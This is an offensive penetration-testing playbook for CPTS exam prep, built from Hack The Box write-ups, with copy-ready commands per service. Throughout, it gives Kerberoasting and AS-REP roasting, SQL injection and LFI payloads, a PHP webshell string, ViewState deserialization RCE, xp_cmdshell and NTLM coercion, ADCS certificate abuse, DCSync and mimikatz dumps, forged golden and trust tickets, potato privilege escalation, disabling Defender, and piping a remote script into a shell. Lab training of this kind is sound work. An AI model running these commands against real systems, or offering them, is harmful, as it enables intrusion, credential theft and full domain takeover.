FLOW ^: Pentest Workflow

Attack Flow Guide

CPTS companion guide: Attack Flow Guide — copy-ready methodology and commands.

intermediate updated 2026-07-18

[!abstract] > ABOUT_THIS_GUIDE A working playbook, not just diagrams. For every service you meet, it tells you what to look for, the commands to enumerate it, and the commands to test/exploit it. Built from 16 0xdf writeups (the CPTS-prep list). Command syntax reference lives in Most-Used-Commands. Set these first and every command below just works:

export IP=10.10.11.x           # target
export TARGET=$IP
export DOMAIN=domain.htb
export DC=dc01.$DOMAIN
export LHOST=10.10.14.x        # your tun0 (ip -br a show tun0)

// THE_GOLDEN_RULES

[!tip]+ > MINDSET

  1. Enumerate, don’t guess. Every box rewarded reading the loot (PDFs, notes, README, git history, images) over exploit-hunting.
  2. New identity = restart enumeration. Cracked a hash / reset a password / read a cred? Re-run BloodHound as that principal, re-spray it across SMB+WinRM, re-check ADCS. Boxes chain 4-7 identities.
  3. Clock skew kills Kerberossudo ntpdate -u $DC before every Kerberos/certipy step.
  4. NTLM disabled (NTLM:False / STATUS_NOT_SUPPORTED) → auth with -k + a ccache.
  5. First 5 commands on every shell before anything else.
  6. FTP → binary mode before pulling KeePass/DB files or they corrupt.

// HIGH_LEVEL_FLOW

High-level attack flowLR
SETUP + RECON PER-SERVICE ENUM(this guide) FOOTHOLD CREDS SHELL / AUTH POST-FOOTHOLD ENUM Escalate? DOMAIN ADMIN ROOT / FLAGS ADCS/deleg/ACL local priv loop w/ new creds

// PHASE_0 — SETUP

[!terminal]+ Run these on every box before anything else

# Full TCP, then service scan the open ports
rustscan -a $IP -u 50000 -r 1-65535 -- -sCV -oA ./recon/target
# (Windows/no-ping): rustscan -a $IP -- -Pn -sCV --max-retries 3 -T4
# two-stage nmap alternative:
ports=$(nmap -p- --min-rate 10000 --open -oG - $IP | grep -oP '\d+(?=/open)' | paste -sd,)
nmap -p $ports -sCV -Pn $IP -oA ./recon/detailed
sudo nmap -sU --top-ports 50 $IP           # UDP: DNS/SNMP/NFS matter

# Populate /etc/hosts (grab domain + hostname)
sudo nxc smb $IP --generate-hosts-file /etc/hosts

# AD box only:
sudo ntpdate -u $DC                        # fix clock skew (Kerberos)
nxc smb $DC --generate-krb5-file krb5.conf && sudo cp krb5.conf /etc/krb5.conf

[!tip] > WHAT THE PORTS TELL YOU

  • 53+88+389+445+636+3268+5985+9389 = Windows Domain Controller.
  • 445 alone + 3389 + SSH-for-Windows = Windows member/standalone (Media).
  • 2049(nfs), 6379(redis), 1433(mssql), 25(smtp), 6022(go-ssh) = service to raid.
  • TTL 127 = Windows one hop, TTL 63/64 = Linux.
  • Two SSH ports / 172.x IPs in DNS = containers in play (Craft, Ghost, Snoopy).

// SERVICE PLAYBOOKS

Work each open service. For every one: look-for → enumerate → test.

> SMB — 445 / 139

[!info] Look for: null/guest access, non-default shares (IT, Development, Finance, profiles$, CertEnroll), writable shares, files (PDFs, KeePass, xlsx, Ansible, scripts), SMB signing off (relay potential), the domain + hostname.

[!terminal]+ Enumerate

nxc smb $IP                                   # OS, domain, hostname, signing, SMBv1, NTLM state
nxc smb $IP -u '' -p '' --shares             # null session
nxc smb $IP -u guest -p '' --shares
nxc smb $IP -u oxdf -p '' --shares           # bogus creds sometimes list shares (Authority)
nxc smb $DC -u user -p pass --shares --users --rid-brute --pass-pol
smbmap -H $IP -u user -p pass -r             # recursive listing w/ perms
smbclient -N -L //$IP                        # anon share list

[!terminal]+ Test / loot

smbclient //$IP/IT -U "$DOMAIN/user%pass"    # browse a share
# Kerberos-only host: smbclient -U "$DOMAIN/user%pass" --realm=$DOMAIN //$DC/IT
nxc smb $IP -u user -p pass -M spider_plus   # auto-loot files
# writable share = drop a coercion payload (see NTLM-coercion below)

[!warning] NTLM:False = NTLM disabled, use Kerberos everywhere (-k, getTGT, smbclient.py -k). Seen on VulnCicada and Voleur.


> LDAP — 389 / 636 / 3268

[!info] Look for: domain naming context, user list + descriptions (passwords in descriptions), MachineAccountQuota, gMSA accounts, ADCS objects, pre-created attributes.

[!terminal]+ Enumerate

nxc ldap $DC -u user -p pass                          # confirm auth (add -k if NTLM off)
nxc ldap $DC -u user -p pass --users --groups
nxc ldap $DC -u user -p pass --users-export users.txt # feed spraying
nxc ldap $DC -u user -p pass -M maq                   # MachineAccountQuota (0 = no fake computers)
nxc ldap $DC -u user -p pass --gmsa                   # gMSA readable? -> NT hash
ldapsearch -x -H ldap://$IP -b "DC=domain,DC=htb" > ldap.txt
ldapsearch -x -H ldap://$IP -b "DC=domain,DC=htb" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd  # LAPS
enum4linux-ng -A $IP

[!tip] Description-field and pre-set attributes leak creds. Always dump users with descriptions.


> Kerberos — 88

[!info] Look for: valid usernames, AS-REP roastable users (no pre-auth), kerberoastable SPNs, clock skew.

[!terminal]+ Enumerate + test

kerbrute userenum -d $DOMAIN --dc $DC /opt/SecLists/Usernames/xato-net-10-million-usernames.txt
# ASREPRoast (no creds needed if you have a userlist) -> hashcat -m 18200
impacket-GetNPUsers $DOMAIN/ -dc-ip $IP -usersfile users.txt -no-pass
# Kerberoast (needs creds) -> hashcat -m 13100
impacket-GetUserSPNs -request -dc-ip $IP "$DOMAIN/user:pass" -outputfile kerb.hash
# get a TGT / ccache for Kerberos-only auth
impacket-getTGT $DOMAIN/user:pass ; export KRB5CCNAME=user.ccache
kinit user            # alternative, puts ticket in default location

[!warning] KDC_ERR_PREAUTH_FAILED = wrong password. KDC_ERR_C_PRINCIPAL_UNKNOWN = user doesn’t exist / deleted (recover via AD Recycle Bin). KRB_AP_ERR_SKEW = fix clock.


> RPC / MSRPC — 135 / 593

[!terminal]+ Enumerate

rpcclient -U "" -N $IP                       # then: enumdomusers, querydispinfo, enumdomgroups
rpcclient -U "user%pass" $IP -c 'enumdomusers'
impacket-rpcdump $IP | grep -i 'MS-'         # spot coercion surfaces (EFSR, RPRN, DFS)

> DNS — 53 (TCP+UDP)

[!info] Look for: the domain name, zone-transfer allowed, extra subdomains/records, ability to add records (dynamic update), TSIG/rndc keys leaked elsewhere.

[!terminal]+ Enumerate + test

dig +noall +answer @$IP domain.htb           # does it resolve?
dig +noall +answer @$IP -x $IP               # reverse -> domain
dig axfr domain.htb @$IP                      # ZONE TRANSFER (Trick, Snoopy)
# add a record as any domain user (feeds Responder coercion — Ghost)
python dnstool.py -u "$DOMAIN\\user" -k -a add -r bitbucket --zone $DOMAIN --data $LHOST -dns-ip $IP $DC
# dynamic update with a leaked TSIG/rndc key (Snoopy)
nsupdate -k rndc.key <<EOF
server $IP
zone domain.htb
update add mail.domain.htb 86400 A $LHOST
send
EOF

> HTTP / HTTPS — 80 / 443 / 8008 / 8443 / 50000

[!info] Look for: the tech stack (headers, 404 page, cookies, X-Powered-By), vhosts, hidden params, known software + version, login forms (SQLi/LDAPi), file/page= params (LFI), upload forms, robots.txt, git/source exposure, TLS cert names (extra hostnames).

[!terminal]+ Enumerate

whatweb http://$IP ; curl -sI http://$IP     # stack + headers
# VHOST fuzz (always) — filter the default size with -ac
ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
# dirs — -x for extension, lowercase list on IIS
feroxbuster -u http://$IP -x php,aspx,html -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
# hidden GET params (StreamIO ?debug=)
ffuf -u "http://$IP/admin/?FUZZ=" -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs <default>
# TLS cert SANs (extra hostnames)
openssl s_client -connect $IP:443 </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"

[!terminal]+ Test by app type

# LOGIN FORM -> SQLi bypass / LDAP injection
#   user:  admin' or 1=1;-- -      or      *   /   pass: *
sqlmap -r login.req --batch --technique B --level 5 --threads 10
sqlmap -r login.req --batch --file-read=/etc/passwd
#   MSSQL union creds:  ' union select 1,CONCAT(username,':',password),3,4,5,6 from users;-- -

# page=FILE param -> LFI
ffuf -u "http://$IP/index.php?page=FUZZ" -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -mc 200 -ac
#   str_replace('../') bypass:  ?page=....//....//etc/passwd
#   PHP source leak:            ?page=php://filter/convert.base64-encode/resource=index.php
#   RCE via mail/log poisoning: swaks body '<?php system($_REQUEST["cmd"]);?>' then include mailspool

# ViewState / ASP.NET (Pov) -> leak web.config keys via file-read, then:
ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg=AES --decryptionkey=<k> \
  --validationalg=SHA1 --validationkey=<k> --path=/portfolio -c "<cmd>"

# KNOWN SOFTWARE
#   Jenkins (50000): Manage Jenkins > Script Console: println "cmd /c whoami".execute().text
#   Gitea/Bitbucket: log in, read repos + commit history for creds/keys/source
#   Ghost/CMS: /ghost admin, check version for CVEs
#   Upload form: try webshell; if "must be Windows Media Player" -> .wax NTLM leak (Media)

[!tip] Read the 404 page and headers to fingerprint (IIS vs nginx vs Express/Next.js). Client-rendered/Next.js apps hide logic in /_next/static/chunks/*.js — read them.


> NFS — 2049 / 111

[!terminal]+

showmount -e $IP                              # list exports
sudo mount -t nfs $IP:/profiles /mnt -o nolock
find /mnt -ls                                 # hunt readable files (images with stickynote creds — VulnCicada)

> Redis — 6379

[!terminal]+

redis-cli -h $IP                              # keys *, info, config get dir
# RCE via SSH-key write (Postman):
config set dir /var/lib/redis/.ssh
config set dbfilename authorized_keys
# (echo -e "\n\n"; cat id.pub; echo -e "\n\n") | redis-cli -h $IP -x set x
save

> FTP — 21

[!terminal]+

ftp anonymous@$IP        # nmap ftp-anon flags this; grab everything
# ALWAYS: binary  (before pulling .kdbx / .psafe3 / DB files — Redelegate)

Look for KeePass/Password-Safe DBs, backup files, notes with password policy hints (SeasonYear!).


> SMTP — 25

[!terminal]+

smtp-user-enum -m VRFY -U /opt/SecLists/Usernames/names.txt $IP 25   # valid users
swaks --to user@$DOMAIN --from x --server $IP --body "test"          # send mail (LFI mail-poison)

> MSSQL — 1433

[!terminal]+

nxc mssql $IP -u sa -p pass --local-auth      # SQL logins need --local-auth
mssqlclient.py user:pass@$IP                   # add -windows-auth for domain
# in shell:
enum_db ; enable_xp_cmdshell ; xp_cmdshell whoami
EXEC xp_dirtree '\\'$LHOST'\share'            # coerce NetNTLMv2 (run Responder)
# linked servers (Ghost): SELECT * FROM OPENQUERY("PRIMARY",'select CURRENT_USER')
#   impersonate sa across link -> enable + xp_cmdshell:
#   EXECUTE('EXECUTE AS LOGIN=''sa''; exec sp_configure "xp_cmdshell",1;reconfigure;exec xp_cmdshell "cmd"') AT [PRIMARY]
# RID-brute domain users through MSSQL (Redelegate): msf mssql_enum_domain_accounts

> WinRM — 5985 / 5986

[!terminal]+

nxc winrm $IP -u user -p pass                 # (Pwn3d!) = shell available
evil-winrm -i $IP -u user -p pass
evil-winrm -i $IP -u user -H <NThash>         # pass-the-hash
export KRB5CCNAME=user.ccache; evil-winrm -i $DC -r $DOMAIN   # kerberos

Requires membership in Remote Management Users. If auth works on SMB but not WinRM, the account isn’t in that group — use RunasCs or find the WinRM user.


> ADCS — check as EVERY new principal

[!info] Look for: a CA at all, web enrollment over HTTP (ESC8), templates where you have enroll rights, EnrolleeSuppliesSubject + client-auth (ESC1), v1 schema templates (ESC15), security-extension-disabled CA (ESC16).

[!terminal]+ Enumerate

uv tool upgrade certipy-ad                     # ESC15/16 detection is recent
nxc ldap $DC -u user -p pass -M adcs           # is there a CA?
certipy find -u user@$DOMAIN -p pass -dc-ip $IP -vulnerable -stdout
certipy find -u user@$DOMAIN -hashes :<NT> -dc-ip $IP -vulnerable -stdout
certipy find -u user@$DOMAIN -p pass -dc-ip $IP -stdout   # ALL templates (re-read remarks per principal)

// POST-FOOTHOLD ENUMERATION (every shell, every time)

[!terminal]+ Windows — first commands

whoami /all                       # groups AND privileges (SeImpersonate/SeDebug/SeBackup/SeEnableDelegation)
net user %username% /domain
systeminfo ; ipconfig /all
cmdkey /list                      # stored creds
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"  # autologon
dir -recurse *.config,*.xml,*.ps1 | select-string -pattern "password"
# loot: connection.xml (Import-CliXml), Firefox key4.db+logins.json (firepwd),
#       .kdbx/.psafe3, DPAPI creds, gMSA, LAPS, registry/NTDS backups (WSL /mnt/c)

[!terminal]+ Linux — first commands

id; sudo -l                        # sudo -l FIRST — instant wins on this box list
find / -perm -u=s -type f 2>/dev/null   # SUID -> GTFOBins
cat /etc/crontab; ls -la /etc/cron.*
env                                # VAULT_TOKEN etc (Craft)
ls -la ~/.ssh /root/.ssh 2>/dev/null    # keys, ControlMaster sockets (Ghost)
curl -L .../linpeas.sh | sh

[!warning] After ANY new credential/hash/shell → go back to the service playbooks as that principal. New BloodHound, new spray, new ADCS check. This single habit solves TombWatcher, Voleur, Administrator, Ghost.


// BLOODHOUND — run at every principal

[!terminal]+

# password
bloodhound-ce-python -d $DOMAIN -u user -p pass -ns $IP -c All --zip
# kerberos
bloodhound-ce-python -d $DOMAIN -u user -k -no-pass -ns $IP -c All --zip
# rusthound-ce also collects ADCS the python collector may miss — run both
rusthound-ce -d $DOMAIN -u user -p pass -c All --zip

Mark every owned account, run “Shortest paths from Owned objects”. Look at Outbound Object Control for each: GenericWrite, GenericAll, WriteOwner, ForceChangePassword, AddSelf, ReadGMSAPassword, DCSync, WriteDacl.


// ESCALATION — ACL ABUSE

[!info] What each ACL gives you (from BloodHound outbound control):

Right over targetAbuseCommand
ForceChangePasswordreset passwordnet rpc password target -U "$DOMAIN/me%pw" -S $IP
GenericWrite / WriteSPNtargeted kerberoast or shadow credtargetedKerberoast.py -d $DOMAIN -u me -p pw / certipy shadow auto -account target
GenericAll (user)reset pw / shadow credbloodyAD ... set password target 'P@ss1!'
WriteOwnerown → grant self GenericAll → abusebloodyAD ... set owner target me then add genericAll target me
AddSelf / GenericAll (group)join group, inherit its rightsbloodyAD ... add groupMember 'Group' me
ReadGMSAPasswordread managed passwordnxc ldap $DC -u me -p pw --gmsa
DCSync / WriteDacl on domaindump all hashessecretsdump.py "$DOMAIN/me:pw@$DC" -just-dc

[!terminal]+ Shadow credential (needs ADCS/PKINIT) — returns TGT + NT hash

certipy shadow auto -u me@$DOMAIN -p pw -account target

// ESCALATION — ADCS (certipy)

ESCTrigger (what to look for)ExploitBox
ESC1EnrolleeSuppliesSubject + client-auth + you can enrollcertipy req ... -template T -upn administrator@$DOMAINcertipy auth -pfxAuthority
ESC8Web enrollment over HTTP enabledcoerce DC (PetitPotam) + certipy relay -target http://$DC -template DomainController → machine certVulnCicada
ESC15v1 schema + EnrolleeSuppliesSubject, unpatched (CVE-2024-49019)certipy req ... -application-policies 'Certificate Request Agent' → ESC3 on-behalf-ofTombWatcher
ESC16Security extension disabled CA-widehijack controlled acct UPN → certipy req → restore UPN → certipy authFluffy

[!terminal]+ ESC1 example + PassTheCert fallback

# if MachineAccountQuota>0 and template = Domain Computers, add a fake computer first:
addcomputer.py "$DOMAIN/user:pass" -method LDAPS -computer-name PWN$ -computer-pass Pwn123 -dc-ip $IP
certipy req -username 'PWN$' -password Pwn123 -ca CA-NAME -dc-ip $IP -template T -upn administrator@$DOMAIN -dns $DOMAIN
certipy auth -pfx administrator.pfx -dc-ip $IP        # if PKINIT fails (KDC_ERR_PADATA_TYPE_NOSUPP):
certipy cert -pfx administrator.pfx -nocert -out admin.key ; certipy cert -pfx administrator.pfx -nokey -out admin.crt
python passthecert.py -action ldap-shell -crt admin.crt -key admin.key -domain $DOMAIN -dc-ip $IP
#   ldap-shell: add_user_to_group me administrators  /  set_rbcd  /  write_gpo_dacl

// ESCALATION — DELEGATION

[!terminal]+ Constrained delegation via SeEnableDelegationPrivilege (Redelegate)

Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True
Set-ADObject -Identity "CN=FS01,CN=Computers,DC=domain,DC=htb" -Add @{"msDS-AllowedToDelegateTo"="ldap/$DC"}
nxc smb $DC -u me -p pw -M change-password -o USER='FS01$' NEWPASS=Pw123
getST.py "$DOMAIN/FS01\$:Pw123" -spn ldap/$DC -impersonate dc
KRB5CCNAME=dc@ldap_$DC@*.ccache secretsdump.py -k -no-pass $DC   # DCSync as DC

RBCD (GenericWrite/All over a computer): impacket-rbcd -delegate-from 'ATK$' -delegate-to 'TARGET$' -action write "$DOMAIN/user:pass" then getST.py -impersonate administrator.


// ESCALATION — LOCAL PRIVESC

[!tip]+ Windows privilege → exploit (from whoami /priv)

  • SeImpersonate → GodPotato / PrintSpoofer. Defender eating GodPotato? Compile EfsPotato on-box (csc.exe EfsPotato.cs -nowarn:1691,618). Service account with stripped privs? FullPowers first. (Media, Ghost)
  • SeDebug → meterpreter migrate into a SYSTEM proc / psgetsys.ps1 (Pov)
  • SeBackup/SeRestore → read SAM+NTDS
  • ADS hidden data → dir /R, more < file.txt:root.txt (Jeeves)
  • Junction point → point a service’s write dir at the web root, upload webshell (Media)
  • Disable AV once you can: Set-MpPreference -DisableRealtimeMonitoring $True

[!tip]+ Linux privilege → exploit (sudo -l first)

  • fail2ban action rewrite → SUID bash (Trick)
  • git apply symlink CVE-2023-23946 (Snoopy)
  • clamscan --file-list <file> file-read, or XXE CVE-2023-20052 (Snoopy)
  • Webmin CVE-2019-12840 as root (Postman)
  • HashiCorp Vault SSH OTP: vault ssh -mode=otp -role=root_otp root@127.0.0.1 (Craft)
  • Password reuse via su (Postman)

// ESCALATION — CROSS-DOMAIN / FOREST (Ghost)

[!terminal]+ After SYSTEM on a child DC

Get-DomainTrust                                   # confirm bidirectional/within-forest
mimikatz "lsadump::dcsync /all /csv" exit         # grab TRUST$ + krbtgt
# forged inter-domain trust ticket (child -> parent Enterprise Admins)
ticketer.py -nthash <TRUST$ NT> -domain-sid <child SID> -domain child.dom \
  -extra-sid <parent SID>-519 -spn krbtgt/parent.dom dummy
KRB5CCNAME=dummy.ccache getST.py -k -no-pass -spn cifs/$DC child.dom/dummy@parent.dom
# or golden ticket:
Rubeus.exe golden /aes256:<krbtgt aes> /ldap /user:Administrator /sids:<parent SID>-519 /ptt
# ADFS Golden SAML (as adfs gMSA): ADFSDump.exe -> ADFSpoof.py -> forge SAMLResponse

// DECISION_TREE — “I’M STUCK”

[!question]+ > WHAT NOW?

  • Just got a cred? → BloodHound as that user, spray SMB+WinRM, re-check ADCS. (Answer is almost always here.)
  • Kerberos error?ntpdate for skew. PRINCIPAL_UNKNOWN = deleted account → AD Recycle Bin (Restore-ADObject / nxc -M tombstone).
  • Auth SMB but not WinRM? → not in Remote Management Users → RunasCs.
  • certipy finds nothing? → update it; re-run as every principal (different enroll rights).
  • Web app empty? → vhost fuzz, hidden ?FUZZ= params, read source via LFI/PHP filter, check git history + JS chunks.
  • In a container?/root/.ssh ControlMaster sockets (Ghost), .dockerenv, env vars, mounted volumes, /mnt/c (WSL — Voleur).
  • NTLM:False? → everything with -k + ccache.

// COMMON_PITFALLS

[!warning]+ Time-wasters seen across the 16 boxes

  • Clock skew breaking Kerberos silently → ntpdate.
  • FTP ASCII mode corrupting KeePass/DB downloads → binary first.
  • Machine-account NetNTLMv2 (DC$) is effectively uncrackable — don’t burn hours (StreamIO).
  • WAF keyword blocks on SQLi (0x, all, null, *) — rephrase, don’t quit.
  • Relative-path LFI killed by str_replace → use ....//.
  • BloodHound-python hanging = DNS round-robin returning an unreachable internal IP → re-run or pin the DC IP (Ghost).
  • Defender eating tools → Set-MpPreference when possible, or EfsPotato/manual.

// MACHINE_INDEX

Full technique map: Most-Used-Commands.

TierBoxes
EasyFluffy (Win), Trick (Lin), Postman (Lin)
MediumJeeves, Pov, TombWatcher, Media, VulnCicada, StreamIO, Voleur, Administrator, Authority (Win) · Craft (Lin)
HardRedelegate (Win) · Snoopy (Lin)
InsaneGhost (Win)

// REFERENCES

[!info]+ All 16 writeups: 0xdf · Certipy Wiki (ESC) · The Hacker Recipes · HackTricks AD · GTFOBins · LOLBAS · Command reference: Most-Used-Commands


#Methodology #Attack-Flow #CPTS-Prep #AD #ADCS #Enumeration #Workflow #HTB